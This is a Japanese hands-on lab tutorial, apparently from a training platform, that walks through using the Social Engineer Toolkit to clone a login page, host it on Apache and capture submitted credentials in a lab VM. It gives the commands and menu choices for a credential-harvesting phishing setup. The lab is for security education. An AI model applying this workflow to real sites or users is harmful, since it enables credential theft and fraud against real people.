SET でフィッシング攻撃をシミュレートする

WiresharkWiresharkBeginner
今すぐ練習

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、Social Engineer Toolkit (SET) を使用してフィッシング攻撃をシミュレートする方法を学び、資格情報収集技術を理解します。SET のインストール、偽のログインページの作成、資格情報のキャプチャを行い、攻撃者が人間の脆弱性をどのように悪用するかを分析します。

この演習では、フィッシングページのクローニングと資格情報の監視を通じた実践的な経験を通じて、実際の社会的技術攻撃手法を実証します。ユーザーがなんと簡単になりすましサイトで機密情報を明かしてしまうかを観察することができます。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL wireshark(("Wireshark")) -.-> wireshark/WiresharkGroup(["Wireshark"]) wireshark/WiresharkGroup -.-> wireshark/export_packets("Exporting Packets") wireshark/WiresharkGroup -.-> wireshark/packet_analysis("Packet Analysis") subgraph Lab Skills wireshark/export_packets -.-> lab-549949{{"SET でフィッシング攻撃をシミュレートする"}} wireshark/packet_analysis -.-> lab-549949{{"SET でフィッシング攻撃をシミュレートする"}} end

SocialEngineer Toolkit のインストール

このステップでは、社会的技術攻撃用に設計された強力なオープンソースのペネトレーションテストフレームワークである SocialEngineer Toolkit (SET) をインストールします。SET は、資格情報収集、フィッシングキャンペーンなど、さまざまな攻撃ベクトルを提供します。初心者にとって、SET は専門家がシステムの脆弱性をテストするために使用する正当なセキュリティツールであり、悪意のある目的で使用されるものではないことを理解することが重要です。

  1. まず、デフォルトの作業ディレクトリにいることを確認します。ここに SET をダウンロードしてインストールし、ファイルを整理します。

    cd ~/project
  2. GitHub から SET リポジトリをクローンします。このコマンドは、公式ソースから SET の最新バージョンをダウンロードします。

    git clone https://github.com/trustedsec/social-engineer-toolkit.git
  3. SET ディレクトリに移動します。ダウンロード後、SET がインストールされたフォルダに入る必要があります。

    cd social-engineer-toolkit
  4. Python インストーラーを使用して SET をインストールします。'sudo' コマンドはインストールに必要な管理者権限を与え、'python3' は正しい Python バージョンを使用することを保証します。

    sudo python3 setup.py install
  5. インストールが完了するのを待ちます。このプロセスは、すべての必要なコンポーネントをインストールするため、数分かかる場合があります。次のような出力が表示されるはずです。

    [*] Social Engineer Toolkit (SET) has been installed.
    [*] You can now launch setoolkit by typing 'setoolkit' in your terminal.
  6. SET のバージョンを確認することで、インストールを検証します。これにより、SET が正しくインストールされたことが確認され、実行しているバージョンが表示されます。

    setoolkit --version

    インストールされたバージョン番号が表示される出力が表示されるはずで、これは SET が使用可能であることを意味します。

フィッシングページの設定

このステップでは、Social Engineer Toolkit (SET) を使用してフィッシングページを設定し、資格情報収集攻撃をシミュレートします。フィッシングは、攻撃者が偽のログインページを作成してユーザーの資格情報を盗む一般的なサイバー攻撃です。SET を使用すると、制御された環境でこの仕組みを簡単に実証することができます。

人気のあるサービスを模倣した偽のログインページを作成します。このクローンページは本物のウェブサイトとまったく同じ外見になりますが、入力された資格情報は正当なサービスに送信されるのではなく、私たちのシステムにキャプチャされます。

  1. まず、SET ディレクトリにいることを確認します。ここにはシステム上にインストールされたツールキットがあります。

    cd ~/project/social-engineer-toolkit
  2. ルート権限で SET ツールキットを起動します。SET はネットワーク設定やウェブサービスを設定するために管理者アクセスが必要です。

    sudo setoolkit
  3. SET メニューで、攻撃オプションを選択します。

    • 1) Social-Engineering Attacks を選択します。これはフィッシング攻撃の主要なカテゴリです。
    • 次に 2) Website Attack Vectors を選択します。偽のウェブサイトを作成するためです。
    • 3) Credential Harvester Attack Method を選択します。具体的にはログイン資格情報を狙っています。
    • 2) Site Cloner を選択します。既存のウェブサイトのデザインをコピーします。
  4. POST バック用の IP アドレスを求められたら、Enter キーを押してデフォルト(VM の IP アドレス)を使用します。ここに盗まれた資格情報が送信されます。

  5. クローンする URL を入力します(デモサイトを使用します)。実際の攻撃では、模倣するターゲットウェブサイトの URL を入力します。

    https://example.com
  6. SET はページをクローンし、フィッシング攻撃を設定します。クローニングプロセスでは、ウェブサイトの HTML、CSS、画像をコピーして本物のように見せます。次のような出力が表示されるはずです。

    [*] Cloning the website: https://example.com
    [*] This could take a little bit...
    [*] Files have been imported to the Apache web root.
  7. フィッシングページの設定が完了し、ホストする準備ができました(次のステップで行います)。この時点で、SET はターゲットサイトの完全な複製を作成し、ログインフォームに入力された資格情報をキャプチャするようになりました。

偽のページをホストする

このステップでは、Apache ウェブサーバーを使用してフィッシングページをネットワーク上で公開します。Apache は人気のあるウェブサーバーで、仮想マシン (VM) の IP アドレスにアクセスする人に偽のログインページを配信します。これが実際のフィッシング攻撃の仕組みです。攻撃者が管理するサーバー上で正当なウェブサイトを模倣することで行われます。

  1. まず、システムに Apache がインストールされていない場合は、インストールする必要があります。次のコマンドを実行してパッケージリストを更新し、Apache をインストールします。

    sudo apt-get update && sudo apt-get install -y apache2

    -y フラグを使用すると、インストールを自動的に承認するため、手動で承認する必要がありません。

  2. インストール後、次のコマンドで Apache が実行中かどうかを確認します。

    sudo service apache2 status

    サービスが実行されていない場合(新規インストール直後はよくあります)、次のコマンドで起動します。

    sudo service apache2 start
  3. Social Engineer Toolkit (SET) は自動的にフィッシングページのファイルを Apache のデフォルトのウェブディレクトリに保存します。これらのファイルが存在することを確認しましょう。

    ls /var/www/html

    メインのフィッシングページである index.html と、クローンしたウェブサイトの画像やスタイルシートなど、ページを本物のように見せる他のファイルが表示されるはずです。

  4. 他の人がフィッシングページにアクセスできるようにするには、VM の IP アドレスを知る必要があります。次のコマンドで確認します。

    hostname -I

    この IP アドレス(ここでは YOUR_VM_IP と呼びます)をメモしておきましょう。フィッシングリンクをテストして共有する際に必要になります。

  5. ページを共有する前に、ローカルでテストして正しく読み込まれることを確認します。

    curl http://localhost

    このコマンドはページの内容を取得します。クローンしたサイトと一致する HTML 出力が表示されるはずです。エラーが表示された場合は、Apache が正しく実行されていない可能性があります。

  6. フィッシングページは現在稼働中で、次のアドレスからアクセスできます。

    http://YOUR_VM_IP

    ネットワーク上の誰でもこのアドレスにアクセスすると、偽のログインページが表示されます。

  7. Apache を実行したままにしておきましょう。ターミナルを閉じたり、サービスを停止したりしないでください。次のステップでは、このホストされたページを使用して、被害者が情報を入力したときに資格情報をキャプチャします。

資格情報のキャプチャ

このステップでは、攻撃者と被害者の両方の視点をシミュレートすることで、フィッシング攻撃がログイン資格情報をどのようにキャプチャするかを学びます。被害者が知らずに偽のログインページ(先ほど作成したものなど)に自分の詳細を入力すると、SET はその機密情報を攻撃者のために保存します。

  1. まず、前のセットアップで SET がまだ実行中であることを確認しましょう。もし閉じてしまったり、セッションが切れてしまった場合は、ツールを再起動する必要があります。これにより、フィッシングサーバーがアクティブで、被害者からの接続を待機していることを保証します。

    cd ~/project/social-engineer-toolkit
    sudo setoolkit
  2. 次に、SET を資格情報をキャプチャするように設定します。SET のメインメニューで、以下のオプションを順番に選択します。

    • 4) Create a Payload and Listener - これにより、SET がデータを受信できるように準備されます。
    • 2) Website Attack Vectors - ウェブベースの攻撃に焦点を当てています。
    • 3) Credential Harvester Attack Method - 具体的にはログイン資格情報を狙っています。
    • 1) Web Templates - 事前に作成されたフィッシングページのテンプレートを使用します。
  3. このターミナルウィンドウを開いたままにしておきましょう。SET は現在、ネットワークトラフィックを積極的に監視し、被害者が偽のログインページを通じて資格情報を送信するのを待機しています。

  4. 被害者の行動をシミュレートしましょう。新しいターミナルタブを開き(ほとんどの Linux 環境では Ctrl+Shift+T)、curl を使用してテスト用の資格情報をローカルのフィッシングサーバーに送信します。これは、誰かがログインフォームに記入して送信したときに起こることを模倣しています。

    curl -X POST -d "username=testuser&password=Test123!" http://localhost
  5. すぐに SET のターミナルを確認してください。資格情報がキャプチャされたことを示す確認メッセージが、次のような明確な形式で表示されるはずです。

    [*] WE GOT A HIT!
    Username: testuser
    Password: Test123!
  6. SET は自動的にキャプチャしたすべての資格情報をログに記録し、後で確認できるようにします。テストエントリを含む完全な攻撃ログを表示するには、次のコマンドを実行します。

    sudo cat /var/lib/set/logs/set.log
  7. ログファイルには、テスト用の資格情報と、それがキャプチャされた正確な時間が表示されます。実際の攻撃では、このファイルには時間の経過とともにすべての成功したフィッシング攻撃で取得された資格情報が含まれます。

キャプチャしたデータをレビューする

フィッシングシミュレーションが完了したので、結果を検証しましょう。この最後のステップでは、Social Engineer Toolkit (SET) が収集したデータにアクセスして解釈する方法を学び、セキュリティのベストプラクティスを維持するためにテスト環境を適切にクリーンアップする方法を説明します。

  1. まず、キャプチャされたすべての資格情報が生データ形式で含まれる完全な SET ログファイルを表示します。このファイルは保護されたシステムディレクトリに保存されているため、sudo を使用する必要があります。

    sudo cat /var/lib/set/logs/set.log

    このコマンドは、SET のメインログファイルの内容を表示します。フィッシングシミュレーション中にキャプチャされたすべての資格情報は、このファイルに自動的に保存されます。

  2. より良い整理と将来の参照のために、このデータの作業用コピーをプロジェクトディレクトリに作成しましょう。また、ファイルの所有者を実験用のユーザーアカウントに変更します。

    cd ~/project
    sudo cp /var/lib/set/logs/set.log captured_credentials.txt
    sudo chown labex:labex captured_credentials.txt

    chown コマンドを使用することで、後続の操作で sudo を使用することなく、このファイルを適切に操作できるようになります。

  3. 次に、先ほど作成した整形済みのレポートを表示しましょう。

    cat captured_credentials.txt

    キャプチャされた資格情報とともに、タイムスタンプとソース情報が表示される、次のような構造化された出力が表示されるはずです。

    [*] 2023-11-15 14:30:22 - Credentials captured:
    Username: testuser
    Password: Test123!
    IP Address: 127.0.0.1
  4. 演習が完了したら、テスト環境をクリーンアップすることが重要です。これにより、作成したフィッシングページが削除され、ウェブサーバーが停止します。

    sudo rm /var/www/html/index.html
    sudo service apache2 stop

    これらのコマンドにより、セキュリティリスクとなる可能性のあるテスト用の残り物が残らないようになります。

  5. 最後に、キャプチャされた資格情報の数をカウントする要約レポートを作成することで、調査結果を文書化しましょう。

    echo "Phishing Test Results" > test_summary.txt
    echo "Total credentials captured: $(grep -c 'Username' captured_credentials.txt)" >> test_summary.txt
    cat test_summary.txt

    これにより、テスト中にキャプチャされた資格情報のペアの総数を示す簡単なレポートが作成されます。grep -c コマンドは、キャプチャされたデータファイル内で 'Username' が出現する回数をカウントします。

まとめ

この実験では、Social Engineer Toolkit (SET) を使用してフィッシング攻撃をシミュレートする方法を学びました。そのプロセスには、SET のインストール、資格情報収集を通じたフィッシングページの設定、および標的ウェブサイトをクローンして欺瞞的なログインインターフェイスを作成することが含まれていました。

この演習を通じて、侵入テストツールとソーシャルエンジニアリング技術を実際に操作する経験を積むことができました。攻撃者がどのように資格情報をキャプチャするかを調査し、このようなセキュリティ脅威に対する防御戦略についての認識を高めることができました。